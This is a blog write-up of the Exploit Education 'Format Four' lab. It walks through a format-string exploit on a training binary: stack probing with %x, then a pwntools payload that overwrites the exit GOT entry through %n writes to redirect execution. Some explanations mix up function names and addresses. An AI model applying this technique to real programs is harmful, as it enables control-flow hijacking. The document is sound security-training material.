Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
- Format One Writeup - Exploit Education Lab Exercise
- Format Two Writeup - Exploit Education Lab Exercise
- Format Three Writeup - Exploit Education Lab Exercise
If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup
Quick Overview
Similar to Format Three Writeup, Format Four exercise motives are smashing the stack, overwrite arbitrary memory address and execute congratulations
function within the program. However, this Format Four challenge revolves around Format String Vulnerability
and quite challenging when exploiting in 64-bit architecture binary.
Disassemble
Disassembling the code will get you overall idea behind the format-four code, One can use gdb ./format-four
to start debugging it in runtime.
gdb ./format-four
- Type
disassemble main
to get the disassembled code (assembly)
0x08048523 <+0>: lea ecx,[esp+0x4]
0x08048527 <+4>: and esp,0xfffffff0
0x0804852a <+7>: push DWORD PTR [ecx-0x4]
0x0804852d <+10>: push ebp
0x0804852e <+11>: mov ebp,esp
0x08048530 <+13>: push ecx
0x08048531 <+14>: sub esp,0x1004
0x08048537 <+20>: sub esp,0xc
0x0804853a <+23>: push 0x8048600
0x0804853f <+28>: call 0x8048310 <puts@plt>
0x08048544 <+33>: add esp,0x10
0x08048547 <+36>: sub esp,0x4
0x0804854a <+39>: push 0xfff
0x0804854f <+44>: lea eax,[ebp-0x1008]
0x08048555 <+50>: push eax
0x08048556 <+51>: push 0x0
0x08048558 <+53>: call 0x8048320 <read@plt>
0x0804855d <+58>: add esp,0x10
0x08048560 <+61>: test eax,eax
0x08048562 <+63>: jg 0x804856e <main+75>
0x08048564 <+65>: sub esp,0xc
0x08048567 <+68>: push 0x1
0x08048569 <+70>: call 0x8048330 <exit@plt>
0x0804856e <+75>: sub esp,0xc
0x08048571 <+78>: lea eax,[ebp-0x1008]
0x08048577 <+84>: push eax
0x08048578 <+85>: call 0x80484e5 <bounce>
0x0804857d <+90>: add esp,0x10
0x08048580 <+93>: mov eax,0x0
0x08048585 <+98>: mov ecx,DWORD PTR [ebp-0x4]
0x08048588 <+101>: leave
0x08048589 <+102>: lea esp,[ecx-0x4]
0x0804858c <+105>: ret
Before taking a look at the code, if you disassembled the format-four using gdb to view the assembly instruction, you may notice the puts, fgets, sprintf function calls with parameters. So basically when you hit r
in gdb without breakpoint,
- Greet with
Welcome to phoenix/format-four, brought to you by https://exploit.education
message via Puts (aka printf) method - The
bounce
function takes a character pointerstr
as an argument, prints the string pointed to bystr
, and exits the program with a status of 0. - The
congratulations
function prints a message indicating that the user has successfully redirected code execution and exits the program with a status of 0. - The
main
function starts by declaring a character arraybuf
with a size of 4096 bytes. - The
printf
function is called to print the value of theBANNER
macro, which is defined earlier in the code. - The
read
function is called to read data from the standard input (file descriptor 0) into thebuf
array. The number of bytes read is limited to one less than the size of thebuf
array to ensure that there is room for a null terminator at the end of the string. - If the
read
function returns a value less than or equal to 0, indicating that an error occurred or no data was read, the program exits with a failure status. - Otherwise, the
bounce
function is called withbuf
as an argument.
Memory Allocation - Exploit Strategy
There is no way you could overflow buffer overflow variable and overwrite any function pointer in the memory. However, introducing %n
format modifier string can perform this magic by overwriting the address using format string vulnerability
.
Our first step is to print “AAAA” temporarily and find the padding where it gets stored in the stack memory. We can start our exploration with couple of %x which helps in printing the address of the stack,
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-four $'AAAA%x.%x.\n'
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAAAffffd8ca.100.
Better luck next time!
Our experiment continues untill we find AAAA
or 41414141 in the stack and eventually we come to know that it occurs at the 11th padding,
user@phoenix-amd64:/opt/phoenix/i486$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAA0.0.0.f7f81cf7.f7ffb000.ffffd748.804857d.ffffc740.ffffc740.fff.0.41414141
Now that we found the padding, it’s time to find the exact memory address of congratulation
function. For 64-bit binary format-four
it should be 0x400644
and 32-bit binary should be 0x08049868
. While performing the exploit, I personally found 64-bit arch challenging due to few reasons discussed in the next section.
user@phoenix-amd64:/opt/phoenix/i486$ nm format-four | grep congratulations
08048503 T congratulations
user@phoenix-amd64:/opt/phoenix/i486$
So, let’s come up with a payload for 32-bit arch format-four binary first, However, we might require a redirection to congratulations
function and exit
function at 0x080497e4
address might be perfect candidate for this.
Since, congratulation
now requires to be 0x08048503
which is pretty huge number and I don’t think we have enough bytes to overwrite the memory address. However, there is a workaround by spliting the address into 4 bytes (32 Bit platform) and each byte gets a specific number of junk bytes to overwrite. For example, \x44\x98\x04\x08
can try writing 45
first and carry forward to next bytes if any overflow.
- One can start overwriting single byte with trial and error method, starting
changeme+0
with padding 11 yields. We could write some junk characters and bump the padding to178
and try again. (this is purely based on trial and error method) and our result yields0x103
which is our target comparing0x08048503
.
from pwn import *
exit = 0x080497e4
congratulations = 0x08048503
buff= ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)
buff += '%x ' * 11 # offset to first byte
buff += 'A' * 178 # JUNK
buff += "%n" # write to first byte
print(buff)
(gdb) x 0x080497e4
0x80497e4 <exit@got.plt>: 0x00000103
- When
changeme+1
is getting overwritten as0x00000103
but our target is now0x00008503
matching0x08048503
. We could try pushing few more junk characters and bump0x1
to0x85
. So, we now require0x85
-0x1
i.e in decimal 132 characters to be written (including%n
)
from pwn import *
exit = 0x080497e4
congratulations = 0x08048503
buff= ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)
buff += '%x ' * 11 # offset to first byte
buff += 'A' * 178 # JUNK
buff += "%n" # write to first byte
buff += 'A' * 130 # JUNK
buff += "%n" # write to second byte
print(buff)
iterating the same process for changeme+2
and changeme+3
yields the following payload,
from pwn import *
exit = 0x080497e4
congratulations = 0x08048503
buff= ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)
buff += '%x ' * 11 # offset to first byte
buff += 'A' * 178 # JUNK
buff += "%n" # write to first byte
buff += 'A' * 130 # JUNK
buff += "%n" # write to second byte
buff += 'A' * 127 # JUNK
buff += "%n" # write to third byte
buff += 'A' * 4 # JUNK
buff += "%n" # write to forth byte
print(buff)
Welcome to phoenix/format-four, brought to you by https://exploit.education
����0 0 0 f7f81cf7 f7ffb000 ffffd718 804857d ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Challenge faced while exploiting 64-bit binary
As mentioned above while going through memory address of congratulations
function in the stack of 64-bit binary should be 0x400644
and it contains unreasonable characters 😥 - \x00
null character which is interpreted by the strncpy
function and completely terminates the argument while copying to the buffer.
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0.25414141.2e78252e.78252e78.252e7825.2e78252e
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0.25414141.2e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.0.0
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0.25414141
user@phoenix-amd64:/opt/phoenix/amd64$ nm format-four | grep congratulations
0000000000400644 T congratulations
However, there might be better strategy to overcome this issue by altering environment variables that may push the address or placing the address to the end of the string in payload.
Exploit
Now, our strategy should be,
- Input
format string
as above python file execution results pipe-ing toformat-four
binary - Now,
exit
memory address from GOT (Global Offset Table) is overwritten bycongratulations
address.
Welcome to phoenix/format-four, brought to you by https://exploit.education
����0 0 0 f7f81cf7 f7ffb000 ffffd718 804857d ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, you're redirected code execution!
Well done, you're redirected code execution!
There you go! 🎉 You’ve officially pwned
and you may eventually gain code execution in upcoming blog post dedicated for this format-four
🪲
Source and Reference:
- Format Four Exercise: Exploit Education
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.